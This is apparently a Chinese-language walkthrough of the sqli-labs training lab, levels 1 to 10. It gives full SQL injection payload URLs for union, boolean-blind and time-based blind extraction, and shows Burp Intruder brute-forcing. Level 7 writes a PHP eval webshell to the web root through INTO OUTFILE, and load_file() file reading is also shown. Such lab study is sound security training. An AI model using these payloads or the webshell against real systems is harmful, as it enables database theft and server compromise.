- mysql的基本用法
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=’security’
查列:select column_name from information_schema.columns where table_name=’users’
查字段:select usrename,password from security.users
切换数据库:use security
查看系统用户:select system_user()
查看数据库:select database()
查看数据库当前登录用户:select user() 或者 select current_user()
查看数据库版本:select version()
查看当前时间:select now()
查看mysql安装路径:select @@datadir
查看当前的操作系统:select @@version_compile_os
显示数据库中的表:show tables
注:(1) 复制命令进mysql命令行时,引号格式会报错,需重新输入英文引号。
(2) 每关我都在sql语句下方添加了两行代码
echo $sql;
echo '<br>';
- Less-01:
查询语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1
- 利用单引号’去判断是否存在注入漏洞(一般情况下报错即为存在漏洞)。
- 猜字段数
- 利用联合查询union查看哪些字段被回显(在这里我们可以看到字段2,3可以回显)
- 查库:此处只能显示一列一行
可以通过limit 0,1 来一个一个的获取数据库名称。但效率不高。
使用group_concat函数显示所有库名,该函数的功能是拼接所有字段名称,并返回。
- 查表
推荐使用16进制去进行使用(选中security对其进行编码)
- 查列
- 查字段
一步一步的获取password,username。但是较为繁琐。
采用函数concat_ws(‘~’,A,B)(注:用分隔符连接字符串)
- Less-02:
- 判断是否存在注入,以及存在什么类型的注入
可以看出存在注入漏洞。
通过比较两种注入类型方法的回显,可以看出存在数字型注入。
- 猜字段数
- 查看回显数据,注意需要将id赋为一个尽可能不存在的值,例如负值。
这里可以看到回显2,3,因此可以将我们想要查询的信息输出到第二或者第三位均可。
- 查库
- 查表
- 查列
- 查字段
- Less-03:
- 判断是否存在注入
存在注入漏洞,在去判断是什么类型的注入漏洞
需要使用‘)将id闭合。
- 猜字段数
- 查看回显数据,注意需要将id赋为一个尽可能不存在的值,例如负值。
这里可以看到回显2,3,因此可以将我们想要查询的信息输出到第二或者第三位均可。
- 查库
- 查表
- 查列
- 查字段
- Less-04:
- 判断是否存在注入以及注入点类型
我们在id的后面先后添加‘,“,可以看到”时有错误回显,提示在“1”“)部分有错,我们即可直接加一个)进行id的闭合。后续与上面的操作基本一致,大家可以自己去联系一下。
- 补充知识:
left()函数: left(database(),1)=‘s’
left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
regexp函数:select user() regexp ‘r’
user()的结果是root,regexp为匹配root的正则表达式
like函数: select user() like ‘ro%’
匹配与regexp相似。
substr(a,b,c) select substr() XXXX
substr(a,b,c)从位置b开始,截取a字符串c位长度
ascii():将某个字符串转化为ascii值
chr(数字)或 ord(‘字母’) :使用python中的两个函数可以判断当前的ascii值是多少
对于security数据库:
select left(database(),1)=‘s’; //前1位是否是s
select database() regexp ‘s’; //匹配第一个字符是否是 s
select database() like ‘s%’; //匹配第一个字符是否是 s
select substr((select database()),1,1)='s’; //匹配第一个字符是否是 s
select substr((select database()),1,3)= ‘sec’; //匹配前三个个字符是否是 sec
select ascii(substr((select database()),1,1)); //直接回显115 或者是:
select ascii(substr((select database()),1,1)) > 110; //如果大于110,就会返回1,否则返回0.
- Less-05:
Bool盲注:sql语句执行正确时会返回结果,执行错误则无回显。
- 判断是否存在注入以及注入类型
可以看出存在注入漏洞
且其注入类型为bool盲注
- 猜字段数
字段数为3
- 利用burpsuite猜解数据库
方法1:
由于页面没有回显,所以需要使用left()函数对其进行猜解。
但是这样一个一个去猜的话效率太低,可以结合burpsuite一起使用
我使用的是FoxyProxy插件进行设置代理
点击执行之后,burp得到:
发送到intruder去爆破。
在s处添加$符,选择字典Brute forcer,删除0~9。最大最小长度选1。线程随便选一个合适的就行。我选的30.
开始爆破之后,查看返回长度。可以看出数据库的第一个字母为s。猜第二个字母只需将left中的第二个参数改为2,并爆破等号后面的第二个字符即可。以此类推。(此处仅能爆破纯英文数据库,其他方法暂时不会)
方法2:
利用http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100--+对数据库进行猜解。找到相应的数据库名称的ascii码。
首先看100
没有回显,采用二分法,选择50
返回成功选择75
返回成功选择90
返回成功选择95
返回成功选择98
返回成功选择99
返回成功,说明第一个数据库的第一个字符的ascii码为99.
以此类推,去猜后续的数据库名。
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100--+
猜表名:
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))>100--+
猜列名:
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>100--+
猜字段:
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))>100--+
- Less-06:
- 判断注入类型和是否存在注入
在id=1后加入“,可以得到报错信息。
- 猜字段数
- 猜解数据库名,使用上一节中的两种方法均可:http://localhost/sqli-labs-master/Less-6/?id=1" and left((select schema_name from information_schema.schemata limit 1,1),1)='s'--+
可以看出第二个数据库的第一个字符为c。
验证正确。
后续步骤与上一节相似,故不在此赘述。
- 补充知识:
load_file():读取本地文件
例:select load_file(‘D:\\phpstudy\\WWW\\test.php’);
into outfile:写文件
例:select ‘hello’ into outfile ‘test.txt’;
其中保存的文件位置为MySQL目录下的data文件夹
或者select ‘wwww’ into outfile ‘D:\\phpStudy\\PHPTutorial\\MySQL\\data\\1.txt’;
为什么需要使用\\?
因为mysql执行时会将\t等转义,因此需要使用双斜线。
- Less-07:
- 判断注入
存在注入,再尝试闭合id
- 猜字段数
- 题目中提示需要使用outfile,我们则将一句话木马<?php @eval($_POST[‘pass’]);?>写入服务器中。
http://localhost/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["pass"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\test.php' --+
将一句话木马写入之后既可使用菜刀进行连接。
- Less-08:
- 方法1:
- 判断注入
由于可以通过构造闭合语句,则存在注入漏洞。且与之前的Less-05中采用方法基本一致,下面仅对其简单介绍。
- 猜字段数
- 利用Less-05中的第一种方法去猜解数据库名
Burp抓包:
进行爆破:
当前正在使用的数据库名:http://localhost/sqli-labs-master/Less-8/?id=1' and left((select database() limit 1,1),1)='s'--+
表名:http://localhost/sqli-labs-master/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)='e'--+
列名:http://localhost/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i'--+
- 补充知识:
IF(A>B,C,D);
如果A>B成立,返回C,否则返回D;
Sleep()函数:在数据库查询中延迟5秒再返回;
可以利用其判断是否存在漏洞。
如less-08中:
http://localhost/sqli-labs-master/Less-8/?id=1' and sleep(5)--+
如果页面返回时间超过5秒,则基本可以判定存在注入漏洞。
- 方法2:
- 判断是否存在注入漏洞
http://localhost/sqli-labs-master/Less-8/?id=1' and sleep(5)--+
- 判断字段数
还是利用order by去猜
- 猜数据库
http://localhost/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,1,sleep(5))--+
利用if()函数去猜数据库的字符串长度。
正确返回1,错误则页面等待时间超过5秒。
猜数据库名:http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>10,1,sleep(5))--+
猜表名:http://localhost/sqli-labs-master/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>10,1,sleep(5))--+
后续步骤与之前的类似。故不在此赘述。
- Less-09:
- 判断注入
使用sleep()函数,可以判断是否存在漏洞。可以看出此页面等待时间超过5秒,即存在漏洞。利用方法与less-08中的方法二一致。
- 猜数据库名字符数
http://localhost/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,1,sleep(5))--+
- 猜数据库字符
http://localhost/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))>100,1,sleep(5))--+
后续与之前类似,可自行将其作为练习.
- Less-10:
与Less-09的区别仅在于”, http://localhost/sqli-labs-master/Less-10/?id=1" and sleep(5)--+
这篇文章是我看了b站上一位up的视频大致写的,希望有所帮助。
链接:https://www.bilibili.com/video/BV1e441127Rd?p=1